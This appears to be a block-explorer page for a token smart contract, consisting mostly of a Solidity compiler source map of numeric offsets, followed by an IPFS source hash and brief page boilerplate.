0;;9152:2:1;21794:153:0;;;9134:21:1;9191:2;9171:18;;;9164:30;9230:34;9210:18;;;9203:62;-1:-1:-1;;;9281:18:1;;;9274:45;9336:19;;21794:153:0;8950:411:1;21794:153:0;22030:9;;-1:-1:-1;;;;;7671:18:0;;7644:7;7671:18;;;;;;;;;;;22004:22;;:6;:22;:::i;:::-;:35;;21970:152;;;;-1:-1:-1;;;21970:152:0;;9568:2:1;21970:152:0;;;9550:21:1;9607:2;9587:18;;;9580:30;9646:33;9626:18;;;9619:61;9697:18;;21970:152:0;9366:355:1;21970:152:0;21681:1118;;;22226:11;-1:-1:-1;;;;;22220:17:0;:2;-1:-1:-1;;;;;22220:17:0;;:44;;;;-1:-1:-1;;;;;;22242:22:0;;;;;;:16;:22;;;;;;;;22241:23;22220:44;22194:605;;;22351:11;;22341:6;:21;;22307:156;;;;-1:-1:-1;;;22307:156:0;;9928:2:1;22307:156:0;;;9910:21:1;9967:2;9947:18;;;9940:30;10006:34;9986:18;;;9979:62;-1:-1:-1;;;10057:18:1;;;10050:47;10114:19;;22307:156:0;9726:413:1;22194:605:0;-1:-1:-1;;;;;22516:20:0;;;;;;:16;:20;;;;;;;;22515:21;:69;;;;-1:-1:-1;;;;;;22562:22:0;;;;;;:16;:22;;;;;;;;22561:23;22515:69;22489:310;;;22687:9;;-1:-1:-1;;;;;7671:18:0;;7644:7;7671:18;;;;;;;;;;;22661:22;;:6;:22;:::i;:::-;:35;;22627:152;;;;-1:-1:-1;;;22627:152:0;;9568:2:1;22627:152:0;;;9550:21:1;9607:2;9587:18;;;9580:30;9646:33;9626:18;;;9619:61;9697:18;;22627:152:0;9366:355:1;22627:152:0;22884:4;22835:28;7671:18;;;;;;;;;;;22940:6;;22916:30;;;;;;;22975:35;;-1:-1:-1;22999:11:0;;;;;;;22975:35;:61;;;;-1:-1:-1;23028:8:0;;;;;;;23027:9;22975:61;:94;;;;;23062:7;;23053:6;:16;22975:94;:134;;;;;23097:11;-1:-1:-1;;;;;23089:19:0;:4;-1:-1:-1;;;;;23089:19:0;;23087:22;22975:134;:172;;;;-1:-1:-1;;;;;;23127:20:0;;;;;;:14;:20;;;;;;;;23126:21;22975:172;:208;;;;-1:-1:-1;;;;;;23165:18:0;;;;;;:14;:18;;;;;;;;23164:19;22975:208;22957:336;;;23210:8;:15;;-1:-1:-1;;23210:15:0;;;;;23240:10;:8;:10::i;:::-;23265:8;:16;;-1:-1:-1;;23265:16:0;;;22957:336;-1:-1:-1;;;;;23337:20:0;;23303:12;23337:20;;;:14;:20;;;;;;23318:4;;23337:20;;;:42;;-1:-1:-1;;;;;;23361:18:0;;;;;;:14;:18;;;;;;;;23337:42;23333:90;;;-1:-1:-1;23406:5:0;23333:90;23433:12;23464:7;23460:596;;;23491:14;;;;;;;23488:61;;;23524:8;:6;:8::i;:::-;23594:11;-1:-1:-1;;;;;23588:17:0;:2;-1:-1:-1;;;;;23588:17:0;;:32;;;;;23619:1;23609:7;;:11;23588:32;23584:327;;;23669:3;23658:7;;23649:6;:16;;;;:::i;:::-;23648:24;;;;:::i;:::-;23641:31;;23708:4;23691:13;;:21;;;;;;;:::i;:::-;;;;-1:-1:-1;23584:327:0;;-1:-1:-1;23584:327:0;;23779:11;-1:-1:-1;;;;;23771:19:0;:4;-1:-1:-1;;;;;23771:19:0;;:33;;;;;23803:1;23794:6;;:10;23771:33;23767:144;;;23852:3;23842:6;;23833;:15;;;;:::i;:::-;23832:23;;;;:::i;:::-;23825:30;;23891:4;23874:13;;:21;;;;;;;:::i;:::-;;;;-1:-1:-1;;23767:144:0;23929:8;;23925:91;;23958:42;23974:4;23988;23995;23958:15;:42::i;:::-;24030:14;24040:4;24030:14;;:::i;:::-;;;23460:596;24066:33;24082:4;24088:2;24092:6;24066:15;:33::i;:::-;20863:3244;;;;20750:3357;;;:::o;3915:132::-;3823:6;;-1:-1:-1;;;;;3823:6:0;443:10;3979:23;3971:68;;;;-1:-1:-1;;;3971:68:0;;10874:2:1;3971:68:0;;;10856:21:1;;;10893:18;;;10886:30;10952:34;10932:18;;;10925:62;11004:18;;3971:68:0;10672:356:1;5010:191:0;5103:6;;;-1:-1:-1;;;;;5120:17:0;;;-1:-1:-1;;;;;;5120:17:0;;;;;;;5153:40;;5103:6;;;5120:17;5103:6;;5153:40;;5084:16;;5153:40;5073:128;5010:191;:::o;15169:289::-;-1:-1:-1;;;;;15284:19:0;;15276:28;;;;;;-1:-1:-1;;;;;15323:21:0;;15315:30;;;;;19313:446;19396:4;19352:23;7671:18;;;;;;;;;;;19440:13;;19470:20;;;:42;;-1:-1:-1;19494:18:0;;19470:42;19466:81;;;19529:7;;19313:446::o;19466:81::-;19581:6;;19563:15;:24;19559:81;;;19622:6;;19604:24;;19559:81;19654:33;19671:15;19654:16;:33::i;:::-;19708:10;;19700:51;;-1:-1:-1;;;;;19708:10:0;;;;;;;;;19729:21;19700:51;;;;;;;;;19729:21;19708:10;19700:51;;;;;;;;;;;;;;;;;;;;;19341:418;;19313:446::o;20154:434::-;20229:1;20214:12;;:16;20192:69;;;;-1:-1:-1;;;20192:69:0;;11235:2:1;20192:69:0;;;11217:21:1;11274:2;11254:18;;;11247:30;-1:-1:-1;;;11293:18:1;;;11286:46;11349:18;;20192:69:0;11033:340:1;20192:69:0;20345:12;;20295;;20272:20;;20345:16;;20360:1;20345:16;:::i;:::-;20318:43;;20391:16;20375:12;:32;20372:208;;20433:2;20424:6;:11;;;20450:7;:12;20181:407;;20154:434::o;20372:208::-;20504:1;20495:6;:10;;;20520:7;:11;20546:14;:22;;-1:-1:-1;;20546:22:0;;;20181:407;;20154:434::o;11728:806::-;-1:-1:-1;;;;;11825:18:0;;11817:68;;;;-1:-1:-1;;;11817:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;11904:16:0;;11896:64;;;;-1:-1:-1;;;11896:64:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;12046:15:0;;12024:19;12046:15;;;;;;;;;;;12080:21;;;;12072:72;;;;-1:-1:-1;;;12072:72:0;;11580:2:1;12072:72:0;;;11562:21:1;11619:2;11599:18;;;11592:30;11658:34;11638:18;;;11631:62;-1:-1:-1;;;11709:18:1;;;11702:36;11755:19;;12072:72:0;11378:402:1;12072:72:0;-1:-1:-1;;;;;12180:15:0;;;:9;:15;;;;;;;;;;;12198:20;;;12180:38;;12398:13;;;;;;;;;;:23;;;;;;12450:26;;160:25:1;;;12398:13:0;;12450:26;;133:18:1;12450:26:0;;;;;;;12489:37;19313:446;19765:383;19855:16;;;19869:1;19855:16;;;;;;;;19831:21;;19855:16;;;;;;;;;;-1:-1:-1;19855:16:0;19831:40;;19900:4;19882;19887:1;19882:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1;;;;;19882:23:0;;;-1:-1:-1;;;;;19882:23:0;;;;;16819:42;-1:-1:-1;;;;;19926:11:0;;:13;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;19916:4;19921:1;19916:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;19916:23:0;;;:7;;;;;;;;;;;:23;19952:188;;-1:-1:-1;;;19952:188:0;;16819:42;;19952:57;;:188;;20024:11;;20050:1;;20067:4;;20094;;20114:15;;19952:188;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;19820:328;19765:383;:::o;196:548:1:-;308:4;337:2;366;355:9;348:21;398:6;392:13;441:6;436:2;425:9;421:18;414:34;466:1;476:140;490:6;487:1;484:13;476:140;;;585:14;;;581:23;;575:30;551:17;;;570:2;547:26;540:66;505:10;;476:140;;;480:3;665:1;660:2;651:6;640:9;636:22;632:31;625:42;735:2;728;724:7;719:2;711:6;707:15;703:29;692:9;688:45;684:54;676:62;;;;196:548;;;;:::o;749:131::-;-1:-1:-1;;;;;824:31:1;;814:42;;804:70;;870:1;867;860:12;885:315;953:6;961;1014:2;1002:9;993:7;989:23;985:32;982:52;;;1030:1;1027;1020:12;982:52;1069:9;1056:23;1088:31;1113:5;1088:31;:::i;:::-;1138:5;1190:2;1175:18;;;;1162:32;;-1:-1:-1;;;885:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2255:247::-;2314:6;2367:2;2355:9;2346:7;2342:23;2338:32;2335:52;;;2383:1;2380;2373:12;2335:52;2422:9;2409:23;2441:31;2466:5;2441:31;:::i;:::-;2491:5;2255:247;-1:-1:-1;;;2255:247:1:o;2507:416::-;2572:6;2580;2633:2;2621:9;2612:7;2608:23;2604:32;2601:52;;;2649:1;2646;2639:12;2601:52;2688:9;2675:23;2707:31;2732:5;2707:31;:::i;:::-;2757:5;-1:-1:-1;2814:2:1;2799:18;;2786:32;2856:15;;2849:23;2837:36;;2827:64;;2887:1;2884;2877:12;2827:64;2910:7;2900:17;;;2507:416;;;;;:::o;2928:248::-;2996:6;3004;3057:2;3045:9;3036:7;3032:23;3028:32;3025:52;;;3073:1;3070;3063:12;3025:52;-1:-1:-1;;3096:23:1;;;3166:2;3151:18;;;3138:32;;-1:-1:-1;2928:248:1:o;3414:388::-;3482:6;3490;3543:2;3531:9;3522:7;3518:23;3514:32;3511:52;;;3559:1;3556;3549:12;3511:52;3598:9;3585:23;3617:31;3642:5;3617:31;:::i;:::-;3667:5;-1:-1:-1;3724:2:1;3709:18;;3696:32;3737:33;3696:32;3737:33;:::i;4039:380::-;4118:1;4114:12;;;;4161;;;4182:61;;4236:4;4228:6;4224:17;4214:27;;4182:61;4289:2;4281:6;4278:14;4258:18;4255:38;4252:161;;4335:10;4330:3;4326:20;4323:1;4316:31;4370:4;4367:1;4360:15;4398:4;4395:1;4388:15;4252:161;;4039:380;;;:::o;4424:127::-;4485:10;4480:3;4476:20;4473:1;4466:31;4516:4;4513:1;4506:15;4540:4;4537:1;4530:15;4556:125;4621:9;;;4642:10;;;4639:36;;;4655:18;;:::i;7070:401::-;7272:2;7254:21;;;7311:2;7291:18;;;7284:30;7350:34;7345:2;7330:18;;7323:62;-1:-1:-1;;;7416:2:1;7401:18;;7394:35;7461:3;7446:19;;7070:401::o;7476:399::-;7678:2;7660:21;;;7717:2;7697:18;;;7690:30;7756:34;7751:2;7736:18;;7729:62;-1:-1:-1;;;7822:2:1;7807:18;;7800:33;7865:3;7850:19;;7476:399::o;10144:168::-;10217:9;;;10248;;10265:15;;;10259:22;;10245:37;10235:71;;10286:18;;:::i;10317:217::-;10357:1;10383;10373:132;;10427:10;10422:3;10418:20;10415:1;10408:31;10462:4;10459:1;10452:15;10490:4;10487:1;10480:15;10373:132;-1:-1:-1;10519:9:1;;10317:217::o;10539:128::-;10606:9;;;10627:11;;;10624:37;;;10641:18;;:::i;11917:127::-;11978:10;11973:3;11969:20;11966:1;11959:31;12009:4;12006:1;11999:15;12033:4;12030:1;12023:15;12049:251;12119:6;12172:2;12160:9;12151:7;12147:23;12143:32;12140:52;;;12188:1;12185;12178:12;12140:52;12220:9;12214:16;12239:31;12264:5;12239:31;:::i;12305:980::-;12567:4;12615:3;12604:9;12600:19;12646:6;12635:9;12628:25;12672:2;12710:6;12705:2;12694:9;12690:18;12683:34;12753:3;12748:2;12737:9;12733:18;12726:31;12777:6;12812;12806:13;12843:6;12835;12828:22;12881:3;12870:9;12866:19;12859:26;;12920:2;12912:6;12908:15;12894:29;;12941:1;12951:195;12965:6;12962:1;12959:13;12951:195;;;13030:13;;-1:-1:-1;;;;;13026:39:1;13014:52;;13121:15;;;;13086:12;;;;13062:1;12980:9;12951:195;;;-1:-1:-1;;;;;;;13202:32:1;;;;13197:2;13182:18;;13175:60;-1:-1:-1;;;13266:3:1;13251:19;13244:35;13163:3;12305:980;-1:-1:-1;;;12305:980:1:o
Swarm Source
ipfs://48fcd8f55540d932fb0e24ef7c033258480e0bb39b704879dfd5f26b9bedeb4e
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.